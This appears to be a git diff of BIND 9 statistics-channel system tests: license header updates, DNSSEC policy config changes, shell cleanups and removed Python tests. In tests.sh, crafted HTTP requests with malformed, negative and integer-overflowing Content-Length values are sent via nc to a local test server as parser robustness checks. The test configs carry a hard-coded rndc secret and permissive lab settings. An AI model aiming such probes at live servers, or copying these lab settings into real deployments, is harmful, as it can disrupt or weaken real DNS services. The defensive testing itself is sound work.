-    for k, v in data.items():
-        for kk, vv in v.items():
-            expected[k][kk] += vv
-
-    return expected
-
-
-def update_expected(expected, key, msg):
-    msg_len = len(msg.to_wire())
-    bucket_num = (msg_len // 16) * 16
-    bucket = "{}-{}".format(bucket_num, bucket_num + 15)
-
-    expected[key][bucket] += 1
-
-
-def check_traffic(data, expected):
-    def ordered(obj):
-        if isinstance(obj, dict):
-            return sorted((k, ordered(v)) for k, v in obj.items())
-        if isinstance(obj, list):
-            return sorted(ordered(x) for x in obj)
-        return obj
-
-    ordered_data = ordered(data)
-    ordered_expected = ordered(expected)
-
-    assert len(ordered_data) == 8
-    assert len(ordered_expected) == 8
-    assert len(data) == len(ordered_data)
-    assert len(expected) == len(ordered_expected)
-
-    assert ordered_data == ordered_expected
diff --git a/bin/tests/system/statschannel/mem-xml.pl b/bin/tests/system/statschannel/mem-xml.pl
index 49497de037..4483aaee37 100644
--- a/bin/tests/system/statschannel/mem-xml.pl
+++ b/bin/tests/system/statschannel/mem-xml.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/statschannel/ns1/example.db b/bin/tests/system/statschannel/ns1/example.db
index b65651aa2d..5c2635e328 100644
--- a/bin/tests/system/statschannel/ns1/example.db
+++ b/bin/tests/system/statschannel/ns1/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/statschannel/ns1/named.conf.in b/bin/tests/system/statschannel/ns1/named.conf.in
index de3c420a1c..52fd9fd855 100644
--- a/bin/tests/system/statschannel/ns1/named.conf.in
+++ b/bin/tests/system/statschannel/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify explicit;
 	minimal-responses no;
 	version none;  // make statistics independent of the version number
@@ -27,7 +30,7 @@ statistics-channels { inet 10.53.0.1 port @EXTRAPORT1@ allow { localhost; }; };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/statschannel/ns2/dnssec.db.in b/bin/tests/system/statschannel/ns2/dnssec.db.in
index 47cb88e3dc..90ae16675c 100644
--- a/bin/tests/system/statschannel/ns2/dnssec.db.in
+++ b/bin/tests/system/statschannel/ns2/dnssec.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/statschannel/ns2/example.db b/bin/tests/system/statschannel/ns2/example.db
index b65651aa2d..5c2635e328 100644
--- a/bin/tests/system/statschannel/ns2/example.db
+++ b/bin/tests/system/statschannel/ns2/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/statschannel/ns2/manykeys.db.in b/bin/tests/system/statschannel/ns2/manykeys.db.in
index 5886edf2c2..3281a39abc 100644
--- a/bin/tests/system/statschannel/ns2/manykeys.db.in
+++ b/bin/tests/system/statschannel/ns2/manykeys.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/statschannel/ns2/named.conf.in b/bin/tests/system/statschannel/ns2/named.conf.in
index 68367989cc..342d03b561 100644
--- a/bin/tests/system/statschannel/ns2/named.conf.in
+++ b/bin/tests/system/statschannel/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify no;
 	minimal-responses no;
 	version none;  // make statistics independent of the version number
@@ -27,17 +30,26 @@ statistics-channels { inet 10.53.0.2 port @EXTRAPORT1@ allow { localhost; }; };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
 	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
 };
 
+dnssec-policy "dnssec" {
+	inline-signing no;
+	keys {
+		ksk lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
 dnssec-policy "manykeys" {
+	inline-signing no;
 	keys {
-		ksk lifetime unlimited algorithm 5;
-		zsk lifetime unlimited algorithm 5;
+		ksk lifetime unlimited algorithm 8;
+		zsk lifetime unlimited algorithm 8;
 		ksk lifetime unlimited algorithm 13;
 		zsk lifetime unlimited algorithm 13;
 		ksk lifetime unlimited algorithm 14;
@@ -54,16 +66,15 @@ zone "example" {
 zone "dnssec" {
 	type primary;
 	file "dnssec.db.signed";
-	auto-dnssec maintain;
 	allow-update { any; };
 	zone-statistics full;
-	dnssec-dnskey-kskonly yes;
-	update-check-ksk yes;
+	dnssec-policy "dnssec";
 };
 
 zone "manykeys" {
-        type primary;
-        file "manykeys.db.signed";
+	type primary;
+	file "manykeys.db.signed";
+	allow-update { any; };
 	zone-statistics full;
 	dnssec-policy "manykeys";
 };
diff --git a/bin/tests/system/statschannel/ns2/named2.conf.in b/bin/tests/system/statschannel/ns2/named2.conf.in
new file mode 100644
index 0000000000..c726ae4220
--- /dev/null
+++ b/bin/tests/system/statschannel/ns2/named2.conf.in
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.2;
+	notify-source 10.53.0.2;
+	transfer-source 10.53.0.2;
+	port @PORT@;
+	pid-file "named.pid";
+	listen-on { 10.53.0.2; };
+	listen-on-v6 { none; };
+	recursion no;
+	dnssec-validation no;
+	notify no;
+	minimal-responses no;
+	version none;  // make statistics independent of the version number
+};
+
+statistics-channels { inet 10.53.0.2 port @EXTRAPORT1@ allow { localhost; }; };
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+
+controls {
+	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+dnssec-policy "dnssec" {
+	keys {
+		ksk lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		zsk lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
+dnssec-policy "manykeys" {
+	inline-signing no;
+	keys {
+		ksk lifetime unlimited algorithm 8;
+		zsk lifetime unlimited algorithm 8;
+	};
+};
+
+zone "example" {
+	type primary;
+	file "example.db";
+	allow-transfer { any; };
+};
+
+zone "dnssec" {
+	type primary;
+	file "dnssec.db.signed";
+	allow-update { any; };
+	zone-statistics full;
+	dnssec-policy "dnssec";
+};
+
+zone "manykeys" {
+	type primary;
+	file "manykeys.db.signed";
+	allow-update { any; };
+	zone-statistics full;
+	dnssec-policy "manykeys";
+};
diff --git a/bin/tests/system/statschannel/ns2/sign.sh b/bin/tests/system/statschannel/ns2/sign.sh
index 9d836fd460..d93a9b8694 100644
--- a/bin/tests/system/statschannel/ns2/sign.sh
+++ b/bin/tests/system/statschannel/ns2/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -21,8 +23,10 @@ ksk=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" -f KSK "$zone")
 zsk=$("$KEYGEN" -q -a "$DEFAULT_ALGORITHM" -b "$DEFAULT_BITS" "$zone")
 # Sign deliberately with a very short expiration date.
 "$SIGNER" -P -S -x -O full -e "now"+1s -o "$zone" -f "$zonefile" "$infile" > "signzone.out.$zone" 2>&1
-keyfile_to_key_id "$ksk" > dnssec.ksk.id
-keyfile_to_key_id "$zsk" > dnssec.zsk.id
+id=$(keyfile_to_key_id "$ksk")
+echo "$DEFAULT_ALGORITHM_NUMBER+$id" > dnssec.ksk.id
+id=$(keyfile_to_key_id "$zsk")
+echo "$DEFAULT_ALGORITHM_NUMBER+$id" > dnssec.zsk.id
 
 zone=manykeys.
 infile=manykeys.db.in
@@ -35,9 +39,15 @@ ksk14=$("$KEYGEN" -q -a ECDSAP384SHA384 -b 384 -f KSK "$zone")
 zsk14=$("$KEYGEN" -q -a ECDSAP384SHA384 -b 384 "$zone")
 # Sign deliberately with a very short expiration date.
 "$SIGNER" -S -x -O full -e "now"+1s -o "$zone" -f "$zonefile" "$infile" > "signzone.out.$zone" 2>&1
-keyfile_to_key_id "$ksk8" > manykeys.ksk8.id
-keyfile_to_key_id "$zsk8" > manykeys.zsk8.id
-keyfile_to_key_id "$ksk13" > manykeys.ksk13.id
-keyfile_to_key_id "$zsk13" > manykeys.zsk13.id
-keyfile_to_key_id "$ksk14" > manykeys.ksk14.id
-keyfile_to_key_id "$zsk14" > manykeys.zsk14.id
+id=$(keyfile_to_key_id "$ksk8")
+echo "8+$id" > manykeys.ksk8.id
+id=$(keyfile_to_key_id "$zsk8")
+echo "8+$id" > manykeys.zsk8.id
+id=$(keyfile_to_key_id "$ksk13")
+echo "13+$id" > manykeys.ksk13.id
+id=$(keyfile_to_key_id "$zsk13")
+echo "13+$id" > manykeys.zsk13.id
+id=$(keyfile_to_key_id "$ksk14")
+echo "14+$id" > manykeys.ksk14.id
+id=$(keyfile_to_key_id "$zsk14")
+echo "14+$id" > manykeys.zsk14.id
diff --git a/bin/tests/system/statschannel/ns3/named.conf.in b/bin/tests/system/statschannel/ns3/named.conf.in
index cabe068791..cf3fc0935b 100644
--- a/bin/tests/system/statschannel/ns3/named.conf.in
+++ b/bin/tests/system/statschannel/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.3; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify no;
 	minimal-responses no;
 	version none;  // make statistics independent of the version number
@@ -27,7 +30,7 @@ statistics-channels { inet 10.53.0.3 port @EXTRAPORT1@ allow { localhost; }; };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/statschannel/server-json.pl b/bin/tests/system/statschannel/server-json.pl
index b0cddfcd08..3715318eab 100644
--- a/bin/tests/system/statschannel/server-json.pl
+++ b/bin/tests/system/statschannel/server-json.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/statschannel/server-xml.pl b/bin/tests/system/statschannel/server-xml.pl
index ebc8fc7973..5f763603e5 100644
--- a/bin/tests/system/statschannel/server-xml.pl
+++ b/bin/tests/system/statschannel/server-xml.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/statschannel/setup.sh b/bin/tests/system/statschannel/setup.sh
index ed081986c8..f5ef3ee893 100644
--- a/bin/tests/system/statschannel/setup.sh
+++ b/bin/tests/system/statschannel/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/statschannel/tests-json.py b/bin/tests/system/statschannel/tests-json.py
deleted file mode 100755
index fd0284233e..0000000000
--- a/bin/tests/system/statschannel/tests-json.py
+++ /dev/null
@@ -1,102 +0,0 @@
-#!/usr/bin/python3
-############################################################################
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-############################################################################
-
-from datetime import datetime
-
-import pytest
-import requests
-
-import generic
-from helper import fmt
-
-
-# JSON helper functions
-def fetch_zones_json(statsip, statsport):
-
-    r = requests.get("http://{}:{}/json/v1/zones".format(statsip, statsport),
-                     timeout=600)
-    assert r.status_code == 200
-
-    data = r.json()
-    return data["views"]["_default"]["zones"]
-
-
-def fetch_traffic_json(statsip, statsport):
-
-    r = requests.get("http://{}:{}/json/v1/traffic".format(statsip, statsport),
-                     timeout=600)
-    assert r.status_code == 200
-
-    data = r.json()
-
-    return data["traffic"]
-
-
-def load_timers_json(zone, primary=True):
-
-    name = zone['name']
-
-    # Check if the primary zone timer exists
-    assert 'loaded' in zone
-    loaded = datetime.strptime(zone['loaded'], fmt)
-
-    if primary:
-        # Check if the secondary zone timers does not exist
-        assert 'expires' not in zone
-        assert 'refresh' not in zone
-        expires = None
-        refresh = None
-    else:
-        assert 'expires' in zone
-        assert 'refresh' in zone
-        expires = datetime.strptime(zone['expires'], fmt)
-        refresh = datetime.strptime(zone['refresh'], fmt)
-
-    return (name, loaded, expires, refresh)
-
-
-def load_zone_json(zone):
-    name = zone['name']
-
-    return name
-
-
-@pytest.mark.json
-@pytest.mark.requests
-def test_zone_timers_primary_json(statsport):
-    generic.test_zone_timers_primary(fetch_zones_json, load_timers_json,
-                                     statsip="10.53.0.1", statsport=statsport,
-                                     zonedir="ns1")
-
-
-@pytest.mark.json
-@pytest.mark.requests
-def test_zone_timers_secondary_json(statsport):
-    generic.test_zone_timers_secondary(fetch_zones_json, load_timers_json,
-                                       statsip="10.53.0.3", statsport=statsport,
-                                       zonedir="ns3")
-
-
-@pytest.mark.json
-@pytest.mark.requests
-def test_zone_with_many_keys_json(statsport):
-    generic.test_zone_with_many_keys(fetch_zones_json, load_zone_json,
-                                     statsip="10.53.0.2", statsport=statsport)
-
-
-@pytest.mark.json
-@pytest.mark.requests
-@pytest.mark.dnspython
-def test_traffic_json(port, statsport):
-    generic.test_traffic(fetch_traffic_json,
-                         statsip="10.53.0.2", statsport=statsport,
-                         port=port)
diff --git a/bin/tests/system/statschannel/tests-xml.py b/bin/tests/system/statschannel/tests-xml.py
deleted file mode 100755
index 3f1b0d7236..0000000000
--- a/bin/tests/system/statschannel/tests-xml.py
+++ /dev/null
@@ -1,132 +0,0 @@
-#!/usr/bin/python3
-############################################################################
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-############################################################################
-
-import xml.etree.ElementTree as ET
-from datetime import datetime
-
-import pytest
-import requests
-
-import generic
-from helper import fmt
-
-
-# XML helper functions
-def fetch_zones_xml(statsip, statsport):
-
-    r = requests.get("http://{}:{}/xml/v3/zones".format(statsip, statsport),
-                     timeout=600)
-    assert r.status_code == 200
-
-    root = ET.fromstring(r.text)
-
-    default_view = None
-    for view in root.find('views').iter('view'):
-        if view.attrib['name'] == "_default":
-            default_view = view
-            break
-    assert default_view is not None
-
-    return default_view.find('zones').findall('zone')
-
-
-def fetch_traffic_xml(statsip, statsport):
-
-    def load_counters(data):
-        out = {}
-        for counter in data.findall("counter"):
-            out[counter.attrib['name']] = int(counter.text)
-
-        return out
-
-    r = requests.get("http://{}:{}/xml/v3/traffic".format(statsip, statsport),
-                     timeout=600)
-    assert r.status_code == 200
-
-    root = ET.fromstring(r.text)
-
-    traffic = {}
-    for ip in ["ipv4", "ipv6"]:
-        for proto in ["udp", "tcp"]:
-            proto_root = root.find("traffic").find(ip).find(proto)
-            for counters in proto_root.findall("counters"):
-                if counters.attrib['type'] == "request-size":
-                    key = "dns-{}-requests-sizes-received-{}".format(proto, ip)
-                else:
-                    key = "dns-{}-responses-sizes-sent-{}".format(proto, ip)
-
-                values = load_counters(counters)
-                traffic[key] = values
-
-    return traffic
-
-
-def load_timers_xml(zone, primary=True):
-
-    name = zone.attrib['name']
-
-    loaded_el = zone.find('loaded')
-    assert loaded_el is not None
-    loaded = datetime.strptime(loaded_el.text, fmt)
-
-    expires_el = zone.find('expires')
-    refresh_el = zone.find('refresh')
-    if primary:
-        assert expires_el is None
-        assert refresh_el is None
-        expires = None
-        refresh = None
-    else:
-        assert expires_el is not None
-        assert refresh_el is not None
-        expires = datetime.strptime(expires_el.text, fmt)
-        refresh = datetime.strptime(refresh_el.text, fmt)
-
-    return (name, loaded, expires, refresh)
-
-
-def load_zone_xml(zone):
-    name = zone.attrib['name']
-
-    return name
-
-
-@pytest.mark.xml
-@pytest.mark.requests
-def test_zone_timers_primary_xml(statsport):
-    generic.test_zone_timers_primary(fetch_zones_xml, load_timers_xml,
-                                     statsip="10.53.0.1", statsport=statsport,
-                                     zonedir="ns1")
-
-
-@pytest.mark.xml
-@pytest.mark.requests
-def test_zone_timers_secondary_xml(statsport):
-    generic.test_zone_timers_secondary(fetch_zones_xml, load_timers_xml,
-                                       statsip="10.53.0.3", statsport=statsport,
-                                       zonedir="ns3")
-
-
-@pytest.mark.xml
-@pytest.mark.requests
-def test_zone_with_many_keys_xml(statsport):
-    generic.test_zone_with_many_keys(fetch_zones_xml, load_zone_xml,
-                                     statsip="10.53.0.2", statsport=statsport)
-
-
-@pytest.mark.xml
-@pytest.mark.requests
-@pytest.mark.dnspython
-def test_traffic_xml(port, statsport):
-    generic.test_traffic(fetch_traffic_xml,
-                         statsip="10.53.0.2", statsport=statsport,
-                         port=port)
diff --git a/bin/tests/system/statschannel/tests.sh b/bin/tests/system/statschannel/tests.sh
index ad2b6152ce..e639663ee8 100644
--- a/bin/tests/system/statschannel/tests.sh
+++ b/bin/tests/system/statschannel/tests.sh
@@ -1,21 +1,25 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 # shellcheck source=conf.sh
 . ../conf.sh
 
 DIGCMD="$DIG @10.53.0.2 -p ${PORT}"
 RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
 
-if [ ! "$HAVEJSONSTATS" ]
+if ! $FEATURETEST --have-json-c
 then
     unset PERL_JSON
     echo_i "JSON was not configured; skipping" >&2
@@ -27,7 +31,7 @@ else
     echo_i "JSON tests require JSON library; skipping" >&2
 fi
 
-if [ ! "$HAVEXMLSTATS" ]
+if ! $FEATURETEST --have-libxml2
 then
     unset PERL_XML
     echo_i "XML was not configured; skipping" >&2
@@ -39,7 +43,7 @@ else
     echo_i "XML tests require XML::Simple; skipping" >&2
 fi
 
-if [ ! "$PERL_JSON" -a ! "$PERL_XML" ]; then
+if [ ! "$PERL_JSON" ] && [ ! "$PERL_XML" ]; then
     echo_i "skipping all tests"
     exit 0
 fi
@@ -53,10 +57,9 @@ getzones() {
         json) path='json/v1/zones' ;;
         *) return 1 ;;
     esac
-    file=`$PERL fetch.pl -p ${EXTRAPORT1} $path`
+    file=$($PERL fetch.pl -p ${EXTRAPORT1} $path)
     cp $file $file.$1.$3
-    $PERL zones-${1}.pl $file $2 2>/dev/null | sort > zones.out.$3
-    result=$?
+    { $PERL zones-${1}.pl $file $2 2>/dev/null | sort > zones.out.$3; result=$?; } || true
     return $result
 }
 
@@ -69,129 +72,198 @@ loadkeys_on() {
     wait_for_log 20 "next key event" ns${nsidx}/named.run
 }
 
+# verify that the http server dropped the connection without replying
+check_http_dropped() {
+    if [ -x "${NC}" ] ; then
+	"${NC}" 10.53.0.3 "${EXTRAPORT1}" > nc.out$n || ret=1
+	if test -s nc.out$n; then
+		ret=1
+	fi
+    else
+	echo_i "skipping test as nc not found"
+    fi
+}
+
 status=0
 n=1
+
+echo_i "check content-length parse error ($n)"
 ret=0
+check_http_dropped <<EOF
+POST /xml/v3/status HTTP/1.0
+Content-Length: nah
+
+EOF
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+echo_i "check negative content-length ($n)"
+ret=0
+check_http_dropped <<EOF
+POST /xml/v3/status HTTP/1.0
+Content-Length: -50
+
+EOF
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+echo_i "check content-length 32-bit overflow ($n)"
+check_http_dropped <<EOF
+POST /xml/v3/status HTTP/1.0
+Content-Length: 4294967239
+
+EOF
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+echo_i "check content-length 64-bit overflow ($n)"
+check_http_dropped <<EOF
+POST /xml/v3/status HTTP/1.0
+Content-Length: 18446744073709551549
+
+EOF
+
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
+echo_i "Prepare for if-modified-since test ($n)"
+ret=0
+i=0
+if $FEATURETEST --have-libxml2 && [ -x "${CURL}" ] ; then
+    URL="http://10.53.0.3:${EXTRAPORT1}/bind9.xsl"
+    ${CURL} --silent --show-error --fail --output bind9.xsl.1 $URL
+    ret=$?
+else
+    echo_i "skipping test: requires libxml2 and curl"
+fi
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status + ret))
+n=$((n + 1))
+
 echo_i "checking consistency between named.stats and xml/json ($n)"
+ret=0
 rm -f ns2/named.stats
 $DIGCMD +tcp example ns > dig.out.$n || ret=1
 $RNDCCMD 10.53.0.2 stats 2>&1 | sed 's/^/I:ns1 /'
-query_count=`awk '/QUERY/ {print $1}' ns2/named.stats`
-txt_count=`awk '/TXT/ {print $1}' ns2/named.stats`
-noerror_count=`awk '/NOERROR/ {print $1}' ns2/named.stats`
+query_count=$(awk '/QUERY/ {print $1}' ns2/named.stats)
+txt_count=$(awk '/TXT/ {print $1}' ns2/named.stats)
+noerror_count=$(awk '/NOERROR/ {print $1}' ns2/named.stats)
 if [ $PERL_XML ]; then
-    file=`$PERL fetch.pl -p ${EXTRAPORT1} xml/v3/server`
+    file=$($PERL fetch.pl -p ${EXTRAPORT1} xml/v3/server)
     mv $file xml.stats
     $PERL server-xml.pl > xml.fmtstats 2> /dev/null
-    xml_query_count=`awk '/opcode QUERY/ { print $NF }' xml.fmtstats`
+    xml_query_count=$(awk '/opcode QUERY/ { print $NF }' xml.fmtstats)
     xml_query_count=${xml_query_count:-0}
     [ "$query_count" -eq "$xml_query_count" ] || ret=1
-    xml_txt_count=`awk '/qtype TXT/ { print $NF }' xml.fmtstats`
+    xml_txt_count=$(awk '/qtype TXT/ { print $NF }' xml.fmtstats)
     xml_txt_count=${xml_txt_count:-0}
     [ "$txt_count" -eq "$xml_txt_count" ] || ret=1
-    xml_noerror_count=`awk '/rcode NOERROR/ { print $NF }' xml.fmtstats`
+    xml_noerror_count=$(awk '/rcode NOERROR/ { print $NF }' xml.fmtstats)
     xml_noerror_count=${xml_noerror_count:-0}
     [ "$noerror_count" -eq "$xml_noerror_count" ] || ret=1
 fi
 if [ $PERL_JSON ]; then
-    file=`$PERL fetch.pl -p ${EXTRAPORT1} json/v1/server`
+    file=$($PERL fetch.pl -p ${EXTRAPORT1} json/v1/server)
     mv $file json.stats
     $PERL server-json.pl > json.fmtstats 2> /dev/null
-    json_query_count=`awk '/opcode QUERY/ { print $NF }' json.fmtstats`
+    json_query_count=$(awk '/opcode QUERY/ { print $NF }' json.fmtstats)
     json_query_count=${json_query_count:-0}
     [ "$query_count" -eq "$json_query_count" ] || ret=1
-    json_txt_count=`awk '/qtype TXT/ { print $NF }' json.fmtstats`
+    json_txt_count=$(awk '/qtype TXT/ { print $NF }' json.fmtstats)
     json_txt_count=${json_txt_count:-0}
     [ "$txt_count" -eq "$json_txt_count" ] || ret=1
-    json_noerror_count=`awk '/rcode NOERROR/ { print $NF }' json.fmtstats`
+    json_noerror_count=$(awk '/rcode NOERROR/ { print $NF }' json.fmtstats)
     json_noerror_count=${json_noerror_count:-0}
     [ "$noerror_count" -eq "$json_noerror_count" ] || ret=1
 fi
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-n=`expr $n + 1`
+status=$((status + ret))
+n=$((n + 1))
 
 ret=0
 echo_i "checking malloced memory statistics xml/json ($n)"
 if [ $PERL_XML ]; then
-    file=`$PERL fetch.pl -p ${EXTRAPORT1} xml/v3/mem`
